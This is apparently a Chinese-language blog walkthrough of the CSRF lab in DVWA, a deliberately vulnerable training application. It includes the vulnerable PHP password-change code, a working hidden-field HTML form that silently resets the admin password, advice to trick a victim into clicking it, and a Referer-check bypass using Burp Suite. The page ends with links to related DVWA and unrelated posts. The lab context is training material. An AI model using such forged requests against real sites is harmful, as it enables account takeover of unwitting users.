DVWA登陆      用户名:admin   密码:password

Low级:

查看源代码:
<?php   

    if (isset($_GET['Change'])) {   

        // Turn requests into variables
$pass_new = $_GET['password_new'];
$pass_conf = $_GET['password_conf']; if (($pass_new == $pass_conf)){
$pass_new = mysql_real_escape_string($pass_new);
$pass_new = md5($pass_new); $insert="UPDATE `users` SET password = '$pass_new' WHERE user = 'admin';";
$result=mysql_query($insert) or die('<pre>' . mysql_error() . '</pre>' ); echo "<pre> Password Changed </pre>";
mysql_close();
} else{
echo "<pre> Passwords did not match. </pre>";
} }
?>
  首先获取输入的两个密码然后判断两个值是否相等,若相等则接着对pass_new变量进行调用mysql_real_escape_string()函数来进行字符串的过滤、再调用md5()函数对输入的密码进行MD5加密,最后再将新密码更新到数据库中。整段代码因为调用了mysql_real_escape_string()函数从而有效地过滤了SQL注入,但是对CSRF没有任何的防御机制。
  进入相应的页面可以看到提示直接输入新密码以及确认新密码的两项输入进行更改密码的操作而不需要重新确认一遍当前的密码: 
这时我们先尝试输入  test   test  ,来看一下页面效果:

发现密码修改成功,我们来分析一下过程:
 
我们用burpsuite来抓包查看:
 
 
 
我们伪造一个网址发给受害者,如果受害者在访问DVWA,只要受害者点击网址,密码就会发生改变
但是这样的网址太显眼,我们需要进一步的装饰伪造
 
<!DOCTYPE html>
<html>
<body>
<form action="http://127.0.0.1/DVWA/vulnerabilities/csrf/">
<input type="hidden" name="password_new" value="hacker">
<input type="hidden" name="password_conf" value="hacker">
<input type="hidden" name="Change" value="Change">
<input type="submit" value="Click Me">
</form>
</body>
</html>

把 这个html  文件发给受害者,诱骗受害者点击 
 
点击后直接出现:

密码修改成功

Medium级:

Medium级的修改密码的界面还是和Low级的一样,不需要进行身份认证即输入当前的密码

<?php   

    if (isset($_GET['Change'])) {   

        // Checks the http referer header
if ( eregi ( "127.0.0.1", $_SERVER['HTTP_REFERER'] ) ){ // Turn requests into variables
$pass_new = $_GET['password_new'];
$pass_conf = $_GET['password_conf']; if ($pass_new == $pass_conf){
$pass_new = mysql_real_escape_string($pass_new);
$pass_new = md5($pass_new); $insert="UPDATE `users` SET password = '$pass_new' WHERE user = 'admin';";
$result=mysql_query($insert) or die('<pre>' . mysql_error() . '</pre>' ); echo "<pre> Password Changed </pre>";
mysql_close();
} else{
echo "<pre> Passwords did not match. </pre>";
} } }
?>
一开始就调用eregi()函数来判断HTTP头的referer字段里是不是包含“127.0.0.1”字符串,即发送请求的是不是本机,如果是则继续后面代码的执行。后面的代码和low级的一样就没啥说的了。
此时我们的LOW等级方法已经失效,我们再用burpsuite抓包对比看一下:
 
接下来我们进行抓包改包
 
 

 
修改成功

High级:

和前面两个等级不同,high等级有了用户token,而且每次修改密码,token都是变化的
 
 

Impossible级:

和前面两个等级不同,impossible级修改密码的界面是需要通过三次输入,即增加了输入当前密码的项,从而能够进行相应的身份认证:

 

2. DVWA亲测CSRF漏洞的更多相关文章

  1. 1.4 DVWA亲测XSS漏洞

    首先需要有配置好的DVWA环境,像下图这样   其中: XSS (DOM) :  DOM型XSS漏洞 XSS (Reflected) : 反射性XSS漏洞  XSS (Stored) :  存储型XS ...

  2. 2. DVWA亲测文件包含漏洞

    Low级:     我们分别点击这几个file.php文件 仅仅是配置参数的变化: http://127.0.0.1/DVWA/vulnerabilities/fi/?page=file3.php 如 ...

  3. 1.4 DVWA亲测文件上传漏洞

    Low 先看看源代码: <?php if(isset( $_POST[ 'Upload' ] ) ) { // Where are we going to be writing to? $tar ...

  4. 2. DVWA亲测命令执行漏洞

        先看low级: 提示让我们输入一个IP地址来实现ping,猜测会是在系统终端中实现的, 我们正常输入127.0.0.1: 那我们就可以利用这个使用其他CMD命令  我们输入127.0.0.1& ...

  5. 1.2 DVWA亲测sql注入漏洞(blind)

    LOW等级     我们尝试输入:   即如果页面返回为假,则说明后面的语句成功注入 据此我们可以知道 1' and 真 --> 页面显示 “User ID exists in the data ...

  6. 1.3 DVWA亲测sql注入漏洞

    LOW等级   我们先输入1 我们加上一个单引号,页面报错 我们看一下源代码: <?php if( isset( $_REQUEST[ 'Submit' ] ) ) { // Get input ...

  7. 8.bwapp亲测xxe漏洞

    这几天在学习XXE漏洞,这里用靶机bwapp来练习一下这个漏洞,重在学习 xxe漏洞主要针对webservice危险的引用的外部实体并且未对外部实体进行敏感字符的过滤, 从而可以造成命令执行,目录遍历 ...

  8. 4. DVWA亲测暴力破解

    LOW等级 我们先用burpsuite抓包,因为burpsuite提供了暴力破解模块   我们先创建一个1.txt文件夹,把正确的账号密码写进去   我们输入 Username:1 Password: ...

  9. web应用下的安全问题以及tomcat/nginx对应解决方法(持续更新、亲测可解决问题)

    最近一券商那边扫描反馈了下面几个非业务型安全漏洞,要求解决,如下: XSS 自己写个脚本response的时候对特殊字符进行了处理,或者网上搜下一堆(不要忘了回车.换行). HTML form wit ...

随机推荐

  1. java入门了解10

    1.IO: 1.File (一)注意: a.可以表示文件或者文件夹(也可称为目录) b.创建的File对象实际上不存在的文件只是代表了一个抽象路径 c.Windows中分隔符'\'('//'也可以); ...

  2. C、C++、Java、JavaScript、PHP、Python、Ruby 这些语言分别主要用来开发什么?

    C.C++.Java.JavaScript.PHP.Python.Ruby 这些语言分别主要用来开发什么? pansz,欢迎评论 此贴纯科普用,以下仅仅说主要用途,其他用途限于篇幅关系省略之,不要钻牛 ...

  3. node路由访问,中间件返回数据

    node路由访问,中间件返回数据 定义一个变量存放json数据,中间件接受数据 var responseData; router.use(function(req, res, next) { resp ...

  4. mvc购物车项目(2)

    为了避免数据冗余,我们可以把共同的信息,抽出建立一个单独的表,把不是共有的信息,建立一张单独表. 订单表分为两个表 create table orders( id number primary key ...

  5. python3 字符串属性(四)

    1. S.partition(sep) -> (head, sep, tail) Search for the separator sep in S, and return the part b ...

  6. [原创]Java开发在线编辑Word同时实现全文检索

    一.背景介绍 Word文档与日常办公密不可分,在实际应用中,当某一文档服务器中有很多Word文档,假如有成千上万个文档时,用户查找打开包含某些指定关键字的文档就变得很困难,一般情况下能想到的解决方案是 ...

  7. Java_异常_04_ OutOfMemoryError系列

    二.参考资料 1.铁猫 OutOfMemoryError系列(1): Java heap space OutOfMemoryError系列(2): GC overhead limit exceeded ...

  8. BEC listen and translation exercise 37

    You're supposed to do that before 10.30 in the morning, but obviously, if it's an emergency, you can ...

  9. SQL多列查询最大值

    直接从某一列查询出最大值或最小值很容易,通过group by字句对合适的列进行聚合操作,再使用max()/min()聚合函数就可以求出. 样本数据如下: key_id x y z A 1 2 3 B ...

  10. 洛谷 P1187 3D模型

    题目描述 一座城市建立在规则的n×m网格上,并且网格均由1×1正方形构成.在每个网格上都可以有一个建筑,建筑由若干个1×1×1的立方体搭建而成(也就是所有建筑的底部都在同一平面上的).几个典型的城市模 ...